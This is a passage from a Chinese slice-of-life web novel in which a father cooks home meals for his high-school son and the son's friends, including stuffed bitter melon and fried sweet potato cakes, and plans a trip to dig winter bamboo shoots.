云市高中倒是没明文规定不让学生在教室吃饭，不过老师有说过，除非那种下大雨的天气，尽量不要把饭带到教室来吃。 至于他们为什么还天天在教室吃饭，用胡一齐的话来说，大概就是“我们本来就不是听老师话的好学生，我们没素质”。 终于把饭吃完，胡一齐熟门熟路拎着保温桶去洗干净，回来时脸上还带着满足的表情。 “感觉咱爸做的孜然牛肉比外面卖的烧烤还好吃。”他边将洗干净的保温桶递给楚瑾钰边回味，同时忍不住询问，“晚上吃什么？” “晚上吃食堂。”楚瑾钰道。 “别开玩笑了，食堂有什么好吃的。” 楚瑾钰：“没开玩笑，我爸有点不舒服，晚上做不了饭，让我自己买饭吃。” “啊？不是吧……”胡一齐想到晚上没有美味的饭菜吃，感觉天都要塌了，不过他很快反应过来现在不是饭不饭的问题，赶紧话头一转，“叔叔没事吧？去医院没？” 他认真起来时倒是知道喊叔叔了，不再把“咱爸”挂在嘴边。 “我爸说没事，是晚上没睡好。” 胡一齐闻言放下心来道：“我家里有好多别人送的补品，等明天我拿点过来。” “不用吧。”楚瑾钰感觉他爸应该还不到要吃补品的年纪。 胡一齐觉得只有他爸身体好了自己才有饭吃，直接一挥手：“就这么说定了。” “滚，谁跟你定，你可别带，等会把我爸吃出事了。”楚瑾钰没好气道。 习惯是个可怕的东西，楚瑾钰最近天天回家吃饭，下午放学时他下意识准备回家，人走出教室才反应过来家里没晚饭吃。 “去食堂吃还是去学校外面？” 胡一齐叹气道：“随便吧，都差不多。” 平日里四个人中数他吃饭最积极，现在这副提不起劲的模样，显然是最近吃得太好，有点看不上食堂和校外餐馆。 学校附近的店他们去年就已经有些吃腻，在四人都没有想出去吃的店的情况下，他们干脆直接去食堂。 云市一高位置在市区，学校外面美食不少，因此学校食堂为了留住学生，其实已经很努力。食堂内除开饭菜外，还搞了油炸、麻辣烫、过桥米线之类的窗口。 吃过更好的饭菜，他们现在瞧着食堂那些菜色就不想吃，干脆去点了些油炸。 高温油炸产生的焦化反应闻起来特别香，尤其是炸完再把调料往上面一洒，香味挠一下就上来。 “油炸这玩意，不吃还怪想的。”胡一齐握着串小黄鱼边吃边感叹。 商时贸吃着炸鸡排却是微微皱起眉：“油……” “油炸感觉就是这样，长时间不吃还有点想，但真吃起来时越吃越油腻。”楚瑾钰手里是串兰花干，吃起来倒是挺酥脆，但咬下去感觉油都能溢出来。 跟外面的饭菜小吃比起来，楚易文在家做饭油盐都不会放太重，楚瑾钰最近在家里吃习惯，会嫌油炸太油腻倒是挺正常。 “感觉这牛肉味道一般，我都有点怀疑是不是假牛肉，根本没有中午叔叔做的好吃。”叶其林手里的牛肉串相对来说倒是没那么油，但他感觉不太好吃。 胡一齐闻言伸手拿起根牛肉串吃起来，边咀嚼边开口：“应该不是假牛肉，不过像是冻货，完全没法和中午的孜然牛肉比，中午那孜然牛肉是真好吃，牛肉外焦里嫩就算了，调味更是没得说。” 如果说刚放学时是他一个人在叹气，那么现在四人吃着油炸，却是都有点想叹气。 食堂此时人挺多，发现他们这桌四个人边吃油炸边叹气，附近几桌的学生都有点莫名其妙。 胡一齐：“老四，咱爸明天能做饭不？我想他做的菜了，想吃酥烂入味的红烧排骨，想吃脆嫩爽口的炒豆角，想喝他炖的鱼汤……” “别说了，本来就不爱吃这油炸，你越说我越吃不下去了。”叶其林白他一眼。 楚瑾钰则是没好气道：“他人都不舒服了，你还不让人家好好休息几天，你属周扒皮的吗？” 学校食堂中四人吃油炸区嚼蜡时，楚家，楚易文下午依旧没什么食欲，左右儿子又不回来吃饭，他干脆给自己煮了碗清汤面。 由于精神还没完全恢复，他甚至连擀面都不愿意，直接拿挂面煮。其实以前上班时他不是没吃过挂面，那会真没觉得挂面有什么不好，但现在可能是吃习惯自己做的手擀面，他觉得挂面确实不怎么好吃。 就着酸萝卜勉强吃完一碗面，楚易文接下来啥也没干，握着手机刷会不用带脑子的视频后，九点不到就直接去睡觉。 充足的睡眠果然是最好的补品，一觉醒来，第二天楚易文感觉整个人精神恢复很多。他起床时楚瑾钰早就不在家，他简单吃点东西后，干脆步行从小区出去，想着散散步，顺便买点菜回来。 “婶子，你这样卖菜不怕亏吗？” 楚易文顺着小区外那条大路拐进旁边一条街上时，看到个推着三轮车卖菜的老太太，他之前在老太太这买过青菜，看到她又在便宜卖菜，不由上前打招呼。 “自己种的菜，能卖出去就不亏。”老太太笑容很慈祥。 楚易文觉得老人家太实在，提醒道：“像你这南瓜和红薯，超市买得都不便宜，南瓜得要四块左右，红薯五六块钱一斤，你可以稍微便宜点，但别便宜太多，毕竟是自己辛辛苦苦种的。” 他说完直接在三轮车里挑了个南瓜，又拿袋子装红薯和青菜。红薯耐放他就多装点，青菜只买了两斤。 挑菜过程中由于老太太先挑起话头跟他聊起家长里短，楚易文回答完顺口也关心一下她的情况，得知她儿子儿媳妇都去世了，现在带着孙子生活，觉得老太太很不容易。 老太太知道他刚刚提醒自己菜价是好心，当时笑着点头答应得很好，然而给他称菜时，却还是把钱往少了算。 楚易文哪会占这点小便宜，直接按照超市的价格把钱给她。 家里肉什么的还有，在老太太这买点菜，楚易文没再继续逛，毕竟南瓜和红薯可不轻，他直接回家去。 高中其实不让学生带手机去学校，不过他知道自家儿子有偷偷带，到家时就给他发条消息，让他中午回家吃饭。 学校内，楚瑾钰看到消息高兴得不行，立刻就回复知道了，并小声跟胡一齐分享这个好消息。 然而他显然是忘记，现在是上课时间，直接被楚易文这个当爸的抓个正着。 【你上课玩手机？】 看到他爸发过来的消息，楚瑾钰才后知后觉反应过来，先是有点被抓包的心虚，不过很快就倒打一耙【谁让你要上课给我发消息。】 【手机放书包里去，好好上课。】 “牛，敢这么跟你爸说话。”胡一齐余光扫到他手机屏幕，冲他伸出个大拇指。 得知今天中午又有美味的饭菜吃，包括楚瑾钰在内，几个人都挺高兴，下课时甚至猜起中午会有什么菜。 “我想吃上次芋头烧鸡。” “上回那个桂花红烧肉不错，又香又下饭。” “我也喜欢桂花红烧肉，肥而不腻。” 他们一上午不认真上课，光顾着讨论吃去，邵言易坐在楚瑾钰前排，耳朵里一边是老师讲的各种数学公式，一边全是菜名，平日里性格沉稳如他此时都有些无语，忍不住侧眸看向附近这几个吃货。 下午最后一节课时，胡一齐他们没盼来放学，先盼来场大雨。 “靠！有毒吧，怎么突然下那么大雨……”胡一齐吐槽完转头看向楚瑾钰，“你带伞没？” 楚瑾钰刚摇头，旁边商时贸轻声道：“我书包里有伞。” 十分钟不到，窗外雨越下越大，哪怕有伞感觉都够呛。 这种大雨天出门估计走不到几分钟鞋子和裤子就得全湿透，楚瑾钰正有些烦时，手机却是震动一下，他掏出来就看到条新消息。 【外面雨太大了，你中午别回家，我直接开车把饭给你送过去。】 这次楚瑾钰倒是学聪明，看完消息没再回复，不过脸上刚才那点烦闷却是不自觉变成高兴。 放学铃声刚响起，他就迫不及待开口道：“我爸说来送饭，学校不让家长进，你们谁跟我去校门口拿饭？” “我跟你去。”胡一齐积极道。 四个人只有商时贸有带伞，最终他把伞拿出来，由楚瑾钰和胡一齐一起打着伞出门。 “服了这个鬼天气。” 从教学楼出来，胡一齐发现雨比他想象的还要大，忍不住抱怨起来。 不过等到大门口，发现楚易文已经在门卫室旁边等着时，他瞬间就又高兴起来，人还没到声音先传过去：“叔叔！” 他那个亲热劲，不知道的还以为楚易文是他爸爸。 “爸。”楚瑾钰昨晚回家时没看到他爸人，这会还是先关心一句，“你今天没不舒服吧？” “没事。”楚易文本来想说说他上课玩手机的事，但见他朋友在，决定还是给他留点面子。 胡一齐跟着关心道：“叔叔你身体没事吧，我本来说给你带点补品，楚瑾钰他非不让。” “没事，谢谢你的关心。”楚易文说完将手里那个大袋子递过去。 由于今天楚瑾钰也在学校吃，怕儿子吃不饱，他用三个大保温桶装了好多饭菜，保温桶外面又套着个防水保温袋，方便拎。 胡一齐伸手接过来，张嘴就开始夸：“叔叔辛苦了，你做的菜实在太好吃了，简直就是人间美味，我以前从来没吃过这么好吃的饭菜，跟着楚瑾钰我真是沾光了……” 都说伸手不打笑脸人，更别说他不光笑得灿烂，嘴更是甜。 楚易文面对这样热情有礼貌，说话还好听的孩子，实在是讨厌不起来：“你们喜欢吃就好。” “喜欢，可太喜欢了，尤其是叔叔你昨天做的那个孜然牛肉，不光色香味俱全，刀工更是漂亮，如果不是楚瑾钰说你是开公司的，我都差点以为叔叔你是什么御厨传人。”胡一齐滔滔不绝道。 楚瑾钰见他夸得自家老爸都笑起来，忍不住插话道：“现在知道喊叔叔了，爸你是不知道……” 没等他揭老底，胡一齐直接张口就是：“叔叔你还缺儿子不？缺的话看看我~” 他这话说得楚易文都不知道怎么接，轻笑两声后看向自家儿子道：“那你得问问他，看他缺不缺兄弟。” “滚把你，我怕你把我家吃穷了。”发现自己还是低估胡一齐的脸皮厚度，楚瑾钰横他一眼。 胡一齐：“没事，我可以自带生活费！” “好了别闹了，雨越下越大了，你们赶紧去吃饭。”楚易文见两个孩子眼瞅着要吵吵起来，赶紧打断他们。 “爸拜拜。” “叔叔拜拜，路上慢点。” 目送楚易文离开后，楚瑾钰和胡一齐边拌嘴边挤在伞下一起往教学楼方向跑，很快就进入教室。 教室内此时除了叶其林他们俩，只剩下个别同学还没走，其中包括邵言易。 “咦，邵言易你怎么还不回家吃饭？是不是没伞，这把伞给你。” 难得胡一齐这个吃货在吃饭时还能注意到前排的邵言易，还反应过来对方可能没带伞。 邵言易确实没带伞，他家离学校有点距离，平常天气好时都要一路跑着回家才来得及，今天这么大雨，有伞他都怕回家吃完饭会迟到。 他正在犹豫要不要接受胡一齐好意时，楚瑾钰开口道：“外面雨下得更大了，有伞估计也会被淋湿，你干脆跟我们一起吃算了，我爸今天送了好多饭菜，估计吃不完。” 胡一齐这会也没说什么自己很能吃，绝对不会吃不完的话，而是跟着邀请起来。 “平常总是麻烦你也挺不好意思的，一起吃吧。”叶其林想到平常都是抄他作业，跟着开口。 商时贸没说话，却是直接把一次性碗筷放到邵言易面前。 四人全都表态让他一起吃，邵言易想着自己要是拒绝了现在也没地方去，坐在旁边看他们吃估计更尴尬，最终还是开口道谢：“谢谢。” “都是同学，客气啥。” 胡一齐说话的同时已经把其中一个保温桶打开，在看清楚那片翠绿的颜色是苦瓜时，脸也像苦瓜一样皱起来：“老四，是不是你上课玩手机被叔叔发现，你还跟他顶嘴，让他不高兴了？” “滚，关我什么事，你不爱吃苦瓜吃别的不就行了。”楚瑾钰将自己面前那个保温桶打开，发现里面是自己爱喝的莲藕排骨汤。 楚瑾钰其实也不爱吃苦瓜，楚易文当然知道。他早就学会苦瓜酿肉这道菜，之前就是考虑到儿子不爱吃才没做，今天之所以会做，主要是在老太太那买菜时，她热情地送了几个苦瓜，总不好浪费。 苦瓜酿肉其实卖相挺诱人，碧绿的苦瓜里填满金棕色肉馅，表面微微泛着油光，两种颜色搭配在一起很是漂亮。 叶其林嗅到那股肉香混着苦瓜清香的气息，忍不住说：“闻起来其实挺香的。” “那你待会多吃点。”楚瑾钰想到苦瓜就觉得苦，觉得这菜谁爱吃谁吃，反正他不吃。 第24章 炸红薯饼 除开苦瓜酿肉外, 今天午餐还有莲藕排骨汤，红烧鸡翅、香菇青菜、家常豆腐，和单独用保鲜盒装的蜜汁香辣小鱼干。 “太棒了, 都是我爱吃的菜！”胡一齐拿起一次性碗，飞快往碗里盛点米饭，筷子立刻伸向红烧鸡翅。 皮滑肉嫩，酱香浓郁的红烧鸡翅简直是他的最爱，好吃到要上天。 楚瑾钰听见他的话，指着那道苦瓜酿肉说：“都是你爱吃的？那你多吃点。” 胡一齐咀嚼着鲜嫩的鸡翅肉，余光在苦瓜酿肉上扫过, 直接装没听见。说实话，苦瓜里镶嵌的肉看起来还挺好吃，但他又不可能直接把肉挖出来吃。 苦瓜酿肉就是把苦瓜切成小段, 掏干净苦瓜瓤，再把调好的肉馅塞进去。这道菜可以清蒸，可以煎焖, 还可以油炸，楚易文今天是煎焖出来的苦瓜酿肉, 因此露出来的肉馅是金棕色，表面带点煎制的微焦。 等到叶其林都端着碗吃起来，邵言易才握着筷子往嘴里送米饭，米饭咽下去, 他夹块没人动的苦瓜酿肉到碗里。 他并不挑食，平常在家就没少吃炒苦瓜，此时很自然咬上去，苦瓜略显爽脆，里面肉馅咸香嫩滑, 咬下去时有肉汁溢出来，特别鲜美。 邵言易觉得这是他吃过最美味的苦瓜，苦味淡到能忽略，只余苦瓜的清香，配上肉馅一起吃，肉鲜味将那点淡淡苦味都变香起来。 “怎么样，苦不苦？”看到他吃苦瓜，胡一齐忍不住问。 邵言易：“不苦，很好吃。” “真的假的？苦瓜还有不苦的？”胡一齐有点不太信。 邵言易：“跟炒苦瓜比起来，这道菜苦味几乎没有，吃起来很香。” 他说完继续吃起来，就着米饭很快就把整个苦瓜酿肉吃完，随即又夹一个到碗中。 看他那样子，胡一齐好奇心上来，伸出筷子夹起个苦瓜酿肉，他没立刻吃，而是先闻两下，苦瓜特有的气息混着肉鲜味扑鼻而来。 真不苦吗？ 胡一齐心里还是有些怀疑，不过见邵言易吃得并不勉强，终于张嘴咬上去。 苦瓜肯定不可能完全没苦味，不过楚易文在做的时候特意将苦瓜里的瓜瓤和白色内膜挖得干干净净，已经最大限度去除苦味。 此时整道菜吃起来，咸、鲜、香中带着微苦，那点微苦并不难吃，反而中和肉馅的油腻，而肉馅的咸鲜又反过来柔和苦瓜的苦味，让人吃起来非但不觉得苦瓜的微苦难吃，反而越吃越觉得香。 “竟然是好吃的！太神奇了！”胡一齐吃着吃着眼睛就亮起来，觉得如果是这种苦，那他完全能接受。 “真好吃还是假好吃？”叶其林用怀疑的眼光看向他。 不怪他要怀疑，要知道，人在做坏事时是最能忍的，之前他们出去玩时发现棵李子树，上面全是青色李子，胡一齐这家伙为了骗大家吃，硬是面不改色地连吃三个青李子，直到大家都被酸到，他才赶紧往外吐。 “我骗你干嘛，你不信就别吃。”胡一齐说完又夹起个苦瓜酿肉，感觉苦瓜的爽脆和肉馅的鲜嫩简直完美。 叶其林信不过他，转头去看邵言易，见邵言易确实吃得挺香，终于尝试起来，发现苦还是有那么点的，但配上肉馅一起吃，这淡淡苦味非但不难吃，还挺令人回味。 他动筷子时商时贸也默默夹了个苦瓜酿肉，吃着感觉确实不错，没有他想象中那么苦。 叶其林：“老四，你不尝尝吗？确实不苦，挺好吃的。” “好吃你们多吃点。” 楚瑾钰觉得又不是没其他菜吃，干嘛要自找苦吃，是红烧鸡翅不香，还是家常豆腐不够嫩，亦或是莲藕排骨汤不够鲜。 “你爸辛苦做的，你好歹尝一个，不然等他回家问你苦瓜酿肉什么味，你说不出来，他该多难过。”叶其林说完直接夹个苦瓜酿肉放到他碗中。 楚瑾钰啧了一声，刚试着咬一小口眉头就皱起来：“哪不苦了？明明有苦味！” “苦瓜皮都没咬破，里面肉馅更是一点没吃着，你就不能大口点吃？”叶其林有点嫌弃他吃个苦瓜那么怂。 在朋友面前楚瑾钰还是要面子的，闻言重新咬一大口，可能是心理作用，在苦瓜的爽脆声响起时他下意识觉得苦，不过在咀嚼几下后，他皱起的眉却是渐渐放松。 嗯？好像……确实不是很苦？ 楚瑾钰又多嚼两下，发现舌尖上那丝苦味很快被肉鲜味冲散，吃着吃着感觉还有点好吃。 他吃完下意识自己又夹了个，显然是忘记刚开饭时谁在心里说“谁爱吃谁吃，反正他不吃”的话。 看到他们都开始吃苦瓜酿肉，邵言易筷子伸向那盘香菇炒青菜，结果发现竟然连炒青菜都那么好吃，脆嫩爽口。 “说起来，苦瓜不是夏天才有吗？现在都十一月了，怎么还有苦瓜？”胡一齐作为吃货，对每个时节有哪些食材有些了解，他虽然不爱吃苦瓜，但印象中这玩意好像是夏天的菜。 叶其林他们哪知道，都继续吃着饭，没人搭理他。倒是邵言易咽下嘴里饭菜后开口：“苦瓜一般五到十月都有，今年冬天不冷，所以现在还有点苦瓜，不过后面除了大棚种植，应该不会再有。” 他奶奶平时有种菜，正好昨天把最后那几条苦瓜收回来，所以这方面他很清楚。 “不愧是学霸！”胡一齐说完见他光吃青菜，指着旁边红烧鸡翅和蜜汁香辣小鱼干道，“你尝尝叔叔做的红烧鸡翅和小鱼干，味道特别好，尤其是红烧鸡翅，皮滑肉嫩，香得我连骨头都能咬碎吃掉。” “你别乱吃，小心碎骨头把食管给扎了。”商时贸提醒。 人家都开口招呼，邵言易便每样菜夹了点，咀嚼着嘴里酱香浓郁的鸡翅，他微垂的眼眸中透出几分羡慕。 他倒不是羡慕楚瑾钰每天有这么丰盛又美味的饭菜，而是羡慕他有给他做饭的爸爸。 不过想到自家奶奶，邵言易很快就收起那点羡慕，觉得有奶奶在，他其实也很幸福。 楚易文准备的饭菜是真不少，可耐不住这个年纪的孩子能吃，二十分钟左右，几个保温桶全部被吃干净，连汤都没剩下。 午饭结束，邵言易主动起身收拾保温桶准备拿去洗，却被楚瑾钰阻止：“外面雨太大了，不用洗，我直接拿回家。” 见他坚持，邵言易只能道谢后重新坐下来，犹豫两秒开口向他借手机。 “我想给我奶奶打个电话。” 他倒不是怕他奶奶来学校送伞，初中那会他就跟奶奶说好，下大雨他就不回家，不用她特意来送伞。他主要是见外面雨越下越大，怕奶奶这种天气还要出去卖菜，有些不放心。 楚瑾钰听到他要打电话，直接把手机递过去。 “谢谢。” 邵言易奶奶有个二手老年机，不过老人家年纪大了忘性重，手机经常不在身上。他拨出号码后好一会都没人接，正在担心时，还好最后手机那头传来熟悉的声音。 “奶奶，外面雨下得好大，你别出门知道吗？我吃过饭了，和同学一起吃的……” 毕竟是借的手机，邵言易确定奶奶上午卖完菜回来就没再出门，放心地挂掉电话。 和楚瑾钰他们比起来，跟奶奶相依为命的邵言易家庭条件不算好，正因为如此，他有着与同龄人不同的沉稳。不过毕竟是高中生，哪怕他比同龄人早熟些，到底还是带着少年心性。 这不，还完手机后他主动询问老师上午发的卷子他们做没做，表示可以一起做。 “不会做，等你做完我再做。”胡一齐这意思很明显，是想等他做完直接抄。 换做今天前，不想给自己找麻烦的邵言易直接就答应，现在可能是吃人嘴软，他主动表示可以教他们做。 吃饱喝足胡一齐正美着，才不想做什么试卷，至于叶其林和商时贸，这两位有时候连抄都懒得抄，就别指望他们会乖乖写试卷。 倒是楚瑾钰，他想到自家老爸天天念叨，犹豫两秒后把试卷翻出来。 “太阳从西边出来了？楚瑾钰你竟然要写试卷？” 楚瑾钰听到胡一齐那夸张的语气，瞪他一眼：“少大惊小怪，要不是我最近好好写作业，你以为你能有饭吃。” 其实楚易文并没有说过要他好好学习才给做饭的话，相反，楚易文要真说了，以楚瑾钰的叛逆心理，反而更加不会做作业。 楚易文实际上跟他说的是学得进去就好好学，学不进去就算了，只要在学校和同学好好相处别抄作业就行。 他要求那么低，搞得楚瑾钰都有些不自在，最近还真没怎么抄作业，一般都是能做就做，没空做就直接任老师批评。 他之所以跟胡一齐那么说，纯粹是要面子，觉得有个理由说出去好听。 “啥？你爸要你好好做作业才给你做饭啊？那你赶紧做，我不打扰你了。”胡一齐这会倒是不喊“咱爸”了，毕竟他可不想写试卷。 “饭是大家一起吃的，凭什么让我一个人做？应该有卷子一起写。” 刚刚他要是不多话楚瑾钰也就算了，现在嘛，他非得把人都拉上。 然而四个人里就数商时贸和叶其林心眼子最多，从他们俩对话里听出点不太好的苗头时，已经起身从后门溜出去。 最终，胡一齐被楚瑾钰拉着跟邵言易一起写试卷，脸上露出痛苦面具。 雨一直下，好在临近下午放学时，天气总算重新放晴。楚瑾钰把中午吃饭的保温桶拎回家，发现厨房的菜架上有好多红薯还有个大南瓜。 “爸，你买那么多红薯干嘛？” 他手有点欠，还特意凑过去像敲西瓜一样在南瓜上敲两下，听着南瓜发出沉闷的声音。 “明天早上给你炸红薯饼吃怎么样？”楚易文边端菜边说。 楚瑾钰：“像南瓜饼那种吗？行吧，你别做太甜。” 他不是很爱吃糯叽叽的南瓜饼，但见红薯都买回来，觉得反正是早餐，实在不行他少吃点。 “你不爱吃南瓜饼？那南瓜我到时候用来煮南瓜粥。” “南瓜饼太甜了，而且黏牙。” 其实好吃的南瓜饼是软糯不黏牙的，只能说学校食堂的南瓜饼做得不怎么样，让他现在听到南瓜饼就想摇头。 父子俩边吃饭边闲聊，话题忽然又转回中午的饭菜上，楚易文询问：“中午的菜都吃完没？” 平常他根本不会问这个问题，主要还是今天有苦瓜酿肉，怕孩子们挑食。 “吃完了，有胡一齐这个吃货在，连滴汤都剩不下。” “苦瓜也吃完了？” “吃完了，苦瓜不是很苦，他们都说你厉害，能把苦瓜做得那么好吃。” 楚易文闻言眼中溢出几分笑意：“吃完就好，我还怕你们都不吃。” 由于中午时胡一齐夸孜然牛肉好吃，今天下午楚易文特意又炒了锅牛肉，吃起来特别下饭。 楚瑾钰咀嚼着香喷喷的孜然牛肉，又来口咸香脆爽的手撕包菜，渐渐地完全沉浸在美食中，没再说话。 饭桌上安静下来，只有碗筷细微的碰撞声，不过父子二人间气氛倒是挺温馨。 “爸我走了。” 吃饱喝足，楚瑾钰用纸巾擦完嘴，拎着保温桶就离开。 下午教室里只有胡一齐、叶其林、商时贸三个人吃饭，楚瑾钰坐在旁边看着，时不时在他们抢起菜来时充当分菜人的角色。 三人边吃边夸，很快就结束晚餐，正在胡一齐还在回味时，教室门口陆续有其他同学进来，其中还包括邵言易。 “给，我奶奶自己种的红薯，她说谢谢你中午请我吃饭，让我送点给你尝尝。”可能是怕楚瑾钰不收，邵言易又补充一句，“这红薯很甜，而且没打农药。” “太巧了，我爸今天刚买了红薯，还说明天早上给我做红薯饼吃。” 楚瑾钰话落，旁边胡一齐道：“外面买的红薯肯定没有人家邵言易奶奶种的好，人家都带过来，你就拿着呗。” “那谢了。”楚瑾钰想想也是，人家都拎过来，自己不要的话他还得再拎回去，怪麻烦的。 十分钟后，他无语地望着自家朋友兼同桌：“不是，你有毒吧，有那么馋吗？” 与此同时楚瑾钰算是明白，他为啥刚刚让自己收下红薯，合着是他想吃。 是的，胡一齐这个吃货直接啃起生红薯来，边啃得嘎嘣脆边还说：“确实很甜，你要不要来一口？” 楚瑾钰用一言难尽的表情望着他，随即直接收回视线，宁愿看课本都懒得看他。 楚家。 炸红薯的菜谱楚易文是今天才获取，他想着明天早餐不能让儿子失望，进入系统厨房后学得很认真。 经过文思豆腐打磨后他刀工进步神速，切起红薯块来简直就是小菜一碟。 由于儿子中午时说不爱南瓜饼那种糯叽叽口感，他还特意请教老爷子，问红薯饼可不可以不放糯米粉。 “可以，只放面粉足以。” 红薯饼做法并不难，红薯切成指甲盖大小的方块后加入适量面粉当粘合剂搅拌，再入油锅炸至定型，香喷喷，金灿灿的红薯饼就做好。 这道美食主要是得把握好面粉与红薯的比例，以及对油温和火候。 老爷子示范一遍后就让楚易文自己来，头两次时他对火候把握得不是很好，炸出来的红薯饼闻起来香，吃进嘴里却是带着炸过头的微苦。 “让你炸红薯饼，没让你炼炭。” 老爷子毒舌时，楚易文却是不嫌弃地吃着自己炸出来的红薯饼，心里暗暗顶嘴，觉得哪有他说得那么夸张，明明红薯饼都没黑，只是颜色深一些而已。 老爷子要求严格，楚易文站在油锅前翻来覆去炸了七八十个红薯饼，直到连着炸出十个形状完美，色泽金黄的红薯饼，才终于结束这次学习。 从系统厨房出来时，楚易文总感觉鼻子周围还能闻见那股红薯特有的甜香。 入冬后天亮得晚，次日早上天还没大亮，楚易文已经在厨房给红薯削皮、切红薯。 他用的是儿子昨晚带回家的那袋红薯，感觉每个红薯都很好，明显是别人特意挑选出来。不过想到昨晚询问后，儿子说这是邵言易奶奶送的红薯，楚易文心情多少有些复杂。 “我不杀伯仁，伯仁却因我而死。”这大概就是邵言易奶奶和他儿子的关系，如果换做刚做那个预知梦时，楚易文觉得自己大概没有心情处理面前这些红薯。 他很快收拾好发散的心绪，将红薯块加面粉调好后起锅烧油。油温差不多时，他将红薯面糊放到圆形模具中下锅开始炸，几秒后红薯混着面粉产生的特有焦香瞬间就飘出来。 高温带来的焦化反应形成一种特别诱人的香味，尤其是红薯饼边缘被炸出焦糖香，闻起来令人食欲大开。 油炸的食物香味实在太霸道，楚瑾钰人刚醒，隔着房门就闻到若有似无的香气，本来还有点困的他瞬间清醒过来。 快速洗漱完，等他走到厨房时，红薯特有的甜香混着焦香扑鼻而来，让他肚子瞬间就咕咕叫起来。 油锅旁已经堆起满满三大盘红薯饼，金灿灿的红薯饼每个大概掌心大小，由一个个拇指大小的红薯块组成，卖相看起来特别美味。 楚瑾钰没忍住直接上手拿起一块，咬下去时能听见“咔嚓”声，而酥脆的外壳下则是红薯本身的软糯绵密，两种不同的口感融合在一起，越吃越香。 由于红薯本身甜度就很不错，楚易文没有再额外加糖，源自于食材本身的甜味让红薯饼吃起来甜而不腻，简直不要太可口。 红薯含糖量高，经过高温油炸，边缘被炸出焦糖香，楚瑾钰很是爱吃，不知不觉就吃完整个。 “旁边还有豆浆。”楚易文提醒一句，加快速度将剩下的食材炸完，端起盘子去餐桌那边。 楚瑾钰连吃三个红薯饼后才喝着豆浆问：“这是用我同学给的红薯做的吗？” “对。”楚易文没急着吃早餐，而是拿出特意买的食品级牛皮纸包装袋打包红薯饼，并在外面再套层保温袋。 “他奶奶种的红薯确实像他说的一样甜。” 楚易文对他那个叫邵言易的同学心情还是有些复杂，不太想聊和对方相关的话题，于是问：“周六要不要跟我一起去挖冬笋？” 昨天晚上临睡前系统不知道抽什么风，突然给他发布了个任务，要求他去挖冬笋，还表示挖冬笋越多，获取的菜谱会更好。 “挖冬笋？回老家吗？” “不回，就在附近找地方挖，挖到的话给你做好吃的。”国庆才回的老家，楚易文还不至于为了挖个笋又跑一趟。 “好。” 楚瑾钰没怎么犹豫就答应下来，吃完早餐拎着满满一大包红薯饼往学校方向走。 以前早读时胡一齐他们经常会迟到，老师批评多了都有点懒得再说他们。而这个月，随着楚瑾钰几乎每天给他们带早餐，胡一齐几人到校时间是越来越早。 “给。” 楚瑾钰把袋子递给胡一齐，自己却是打个哈欠在桌上趴下来，感觉冬天觉就是好睡，根本没睡够。 “好香啊！”胡一齐拿到还热乎的红薯饼，二话不说拿个出来就往嘴里塞。 外皮酥脆内里软糯的红薯饼吃起来那叫一个香，两口下去就直接唤醒沉睡整晚的味蕾，好吃到他差点没咬到舌头。 红薯饼没有放糖和其他乱七八糟的配料，只有红薯和面粉，吃起来满满都是食材本身的香甜，以及焦化产生的浓郁香气。 楚瑾钰趴了一会，见胡一齐像个饿死鬼一样狼吞虎咽，赶紧伸手从袋子里拿两个饼出来递到前排：“邵言易，这是用你家红薯做的，你尝尝味道怎么样。” “谢谢。” 邵言易伸手接过来，可能是现在已经在上早读，放到桌边没有吃。 “你最好赶紧吃，不然老师待会过来看到肯定要说人。”叶其林提醒。 第25章 腌笃鲜 邵言易实在不习惯在早读时吃东西, 最终还是把红薯饼从桌面放到课桌内，没有立刻去吃。 不过红薯饼香味实在太诱人，接下来的早读时间, 他难得有些分神。好在早读时间并不长，又过十分钟铃声就响起，班里同学们纷纷起身飞快往外冲。 十六七岁的年纪正是长身体的时候，本来就容易饿，刚刚胡一齐他们吃红薯饼时香味飘得整个教室都是，可把其他同学给馋坏。终于等到下课铃声，他们哪里还忍得住。 不光他们忍不住, 邵言易同样如此，他合上书就赶紧将课桌内红薯饼拿出来，发现还带着点余温, 立刻咬上去。 从小到大红薯他是真没少吃，但还是今天才发现，原来红薯还能如此香甜美味。红薯饼虽然已经没什么热度, 但吃起来表皮依旧酥脆，只是酥脆中带着点糯, 而内里则是极致的软糯，吃起来香甜可口。 “好吃吗？”胡一齐明明早读时已经吃了好多红薯饼，现在看到邵言易吃却是又馋起来。 邵言易微微点头：“很好吃。” “你太老实了，其实早读时吃早餐根本没事, 只要别被老师发现就行，红薯饼要趁热才好吃。”胡一齐回味着热乎乎红薯饼那外焦里糯的滋味，喉咙不自觉滚动两下。 楚瑾钰平常就喜欢逗他玩，闻言开口道：“真要说好吃，刚出锅的那才香呢, 刚炸出来的红薯饼上还冒着油星，等把油沥干，趁着烫手时咬上去，表皮焦香酥脆，内里软得像流心一样。” “你快别说了，说得我又饿了，咱们中午吃什么？” 听到楚瑾钰的描述，胡一齐羡慕的同时已经开始惦记起午餐来。 “你真行，刚吃完早餐就开始想午餐。”楚瑾钰说完才摇头道，“不知道中午吃什么，我没问。” 今天是周四，明天周五，后天就又可以放假。换做平常，想到放假胡一齐能高兴死，然而这会他却是想到放假就蹭不到楚瑾钰家饭吃。 听到胡一齐说他都有点不想放假了，楚瑾钰觉得他有毒：“至于吗你？我承认我爸做饭确实好吃，但跟放假比起来，明显还是放假更香。” “那是因为你放假也能吃到，你当然这么说。”胡一齐用幽怨的眼神望着他。 楚瑾钰：“明明是你太好吃了，不然你问叶其林他们，看看美食和放假二选一，他们选什么。” 叶其林和商时贸又不聋，不用胡一齐再来问，二人异口同声道：“美食。” 没办法，如果只是稍微好吃点的美食他们肯定选放假，问题是楚瑾钰他爸做的饭菜，那可不是一般好吃，就连苦瓜都能做成人间美味。如果非要上学才能吃到，那他们还真愿意天天上学，反正在学校也不影响他们玩。 “你怎么也这样？”楚瑾钰看向商时贸，一副我看错你的表情。 商时贸抬眸望着他，表情透着几分无辜：“没办法，谁让叔叔做的菜实在太美味。” 四个人中论爱吃肯定是胡一齐，但论对食物的挑剔，那绝对是商时贸。太油腻的他不喜欢，味道过于重的他不爱，肉质太柴他不吃，反正就是这也不爱吃，那也不爱吃，挑食到这种程度他还能长得人高马大，只能算是基因好。 而最近这段时间天天跟着楚瑾钰蹭饭，他感觉每天饭菜都特别合胃口，心情都变好很多，所以让他选，他肯定选美食。 发现原来自己这几个朋友全是吃货，楚瑾钰一时有些无语。 几秒后他想到什么：“那周六要不要一起去挖冬笋？我爸说挖到笋给我做好吃的。” “我去我去！”胡一齐听到有好吃的，举手那叫一个积极。 叶其林：“那我也去。” 